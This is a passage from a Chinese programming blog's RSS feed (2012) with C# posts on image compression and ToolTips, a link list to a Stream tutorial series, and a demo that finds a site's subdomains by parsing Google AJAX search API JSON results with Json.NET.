    bmp.Save(topath, System.Drawing.Imaging.ImageFormat.Jpeg);  //对图像压缩后保存
&lt;/pre&gt;
&lt;p&gt;另外一个就是空间的tip功能，vs2010中貌似已经不支持直接使用属性来设置tip了。所以用到了ToolTip类，使用方法如下，你也可以先导入库，然后简写，ToolTip对象可以给窗体的控件设置提示。主要是第二句话，第一个参数是控件名，第二个参数是提示文本，最好将这两句放入窗体的Load方法中&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt;
ToolTip toolTip = new System.Windows.Forms.ToolTip();
toolTip.SetToolTip(this.lboxPicPath, &#34;双击可删除不需要的图片&#34;);
&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21132_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/516b951c5df12c7569b3cfefd817a894d380c063.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;还有一些边界，比如只接受数字数字之类的，我在代码里给出了详细的说明。实用工具的效果自行测试。对大图片效果最好。&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=62101&amp;amp;uk=1493685990&#34;&gt;图片压缩工具源码&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 温故而知新：Stream篇</title>
      <link>http://blog.leaver.me/2012/04/28/c%23-%E6%B8%A9%E6%95%85%E8%80%8C%E7%9F%A5%E6%96%B0stream%E7%AF%87/</link>
      <pubDate>Sat, 28 Apr 2012 14:13:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/28/c%23-%E6%B8%A9%E6%95%85%E8%80%8C%E7%9F%A5%E6%96%B0stream%E7%AF%87/</guid>
      <description>&lt;p&gt;　　　如果你在学习C#，那么对流的操作是非常基础重要的一步，而&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/&#34;&gt;JimmyZheng&lt;/a&gt;的Stream系列文章估计是流操作最好的文章了。直接转过来，做一个收藏。也希望能够对学习的朋友有所帮助，本文可能会持续更新。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/03/17/2402814.html&#34;&gt;C# 温故而知新：Stream篇（—）Stream简单介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/03/19/2405216.html&#34;&gt;C# 温故而知新：Stream篇（二）TextReader 和StreamReader&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/03/25/2416841.html&#34;&gt;C# 温故而知新：Stream篇（三）TextWriter 和 StreamWriter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/04/03/2430585.html&#34;&gt;C# 温故而知新：Stream篇（四）FileStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/04/14/2446507.html&#34;&gt;C# 温故而知新：Stream篇（五）MemoryStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/04/25/2470277.html&#34;&gt;C# 温故而知新：Stream篇（六）BufferedStream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/05/17/2502727.html&#34;&gt;C# 温故而知新：Stream篇（七）NetworkStream&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    <item>
      <title>二级域名查找 实现演示（GAPI&#43;Json&#43;C#）</title>
      <link>http://blog.leaver.me/2012/04/20/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E6%9F%A5%E6%89%BE-%E5%AE%9E%E7%8E%B0%E6%BC%94%E7%A4%BAgapi-json-c/</link>
      <pubDate>Fri, 20 Apr 2012 08:23:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/20/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E6%9F%A5%E6%89%BE-%E5%AE%9E%E7%8E%B0%E6%BC%94%E7%A4%BAgapi-json-c/</guid>
      <description>&lt;p&gt;　　　　昨天看到了李劼杰的&lt;a href=&#34;http://www.lijiejie.com/index.php/2-ways-to-get-subdomains/&#34;&gt;检索一个域名下属所有子域名的两种方法&lt;/a&gt;很受启发。想用C#实现一些东西，本来是打算做的相对完整一点的，结果发现Google 开放的api貌似是有限制，段时间内不同提交太多。所以就简单实现一下，有需要的朋友自己扩展&lt;/p&gt;
&lt;p&gt;　　　　刚开始的思路是想Google应该是有开放的api吧。。于是先Google C# 收集 Google搜索结果。翻了一会，看到了 &lt;a href=&#34;http://zhidao.baidu.com/question/143797250.html&#34;&gt;此文&lt;/a&gt; ，一看我去，返回的竟然是json格式。。只听过，从来没有接触过。。。不做总是不会的，试试。&lt;/p&gt;
&lt;p&gt;思路；访问该页面，得到字符串-》去掉多余部分-》解析成对象-》提取对象的字段
　　　　1.访问该&amp;lt;pre lang]&amp;ldquo;C#&amp;quot;&amp;gt;http://ajax.googleapis.com/ajax/services/search/web?v=1.0&amp;amp;q=hello&lt;/pre&gt;，其实hello部分就是需要查找的字串，对于查找二级域名这种事，应用到Google的一个语法就是site:leaver.me。类似这样的，可以获取到所有leaver.me上的子站和内容。。
然后分析json数据。直接访问会发现格式很乱。使用http://jsonformatter.curiousconcept.com/这个工具进行格式化。最终结果如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20804_z.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/06ed49d2b62047555b3287b29255a3fcaa71d845.jpg&#34;&gt;&lt;/a&gt;
可以很清楚的看出json的结构，results是结果集，我需要的是需要的是[]之间的部分，包括[]，我理解的是这样。默认给出4个结果。&lt;/p&gt;
&lt;p&gt;　　　　2.要去掉多余部分，得用正则表达式了，&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; json = &#34;[&#34; + Regex.Match(json, @&#34;(?&lt;=\[).+?(?=\])&#34;, RegexOptions.IgnoreCase).Value + &#34;]&#34;;  //得到一个数组[]中间的部分&lt;/pre&gt;
&lt;p&gt;json解析我在外国找到了&lt;a href=&#34;https://json.codeplex.com/&#34;&gt;json.net&lt;/a&gt;这个解析器，导入什么的就不说了，至于用法我是看的他的文档&lt;/p&gt;
&lt;p&gt;　　　　3.&lt;pre lang=&#34;java&#34;&gt;List&lt;Result&gt; results = JsonConvert.DeserializeObject&amp;lt;List&lt;Result&gt;&amp;gt;(json); //list 存放解析的结果，result为对应自写类&lt;/pre&gt; 就是将一个json格式的字符串解析成一个list组，组内元素为一个对应的类，就是先分析json的格式。发现每个结果都有如下的格式&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; 
      public  string GsearchResultClass{ get; set; }
      public string unescapedUrl{ get; set; }
      public string url{ get; set; }
      public string visibleUrl{ get; set; }
      public string cacheUrl { get; set; }
      public string title: { get; set; }
      public string titleNoFormatting { get; set; }
      public string content { get; set; }&lt;/pre&gt;
&lt;p&gt;所以写一个类，来用于json数据的反序列号，其实就是解析啦。。这样通过对解析器的调用就能对应着吧json里面的值赋值给类对象了。&lt;/p&gt;
&lt;p&gt;　　　　4.完成后就得到了一个List&lt;Result&gt;对象。里面包含四个结果的所有信息，只要调用results[i].对应属性就可以了。这里分析后可知二级域名在visibleUrl里，所有就调用它。用到了HashSet这个模板。元素唯一不重复。&lt;/p&gt;
&lt;p&gt;最终效果：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20805_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　　　写程序需要是处理边界情况。。感觉是。主要是我对json格式的解析很不清楚。。只能边学边做。。还有因为写之前没有规划好，打算写全一些，也没想好每个函数来干什么，结果导致后面很麻烦。竟然用了一个全局变量。。其实可以改的。还是算了，演示而已。而且。当时不太清楚google的限制。到达限制后会返回一个错误的结果，多次异常。不顾加强了调试代码的能力，也好。唉。矬人就是矬人啊。。&lt;/p&gt;
&lt;p&gt;源码下载：
[downloadicon href=http://pan.baidu.com/share/link?shareid=91790&amp;amp;uk=1493685990]Finder Demo[/downloadicon]&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
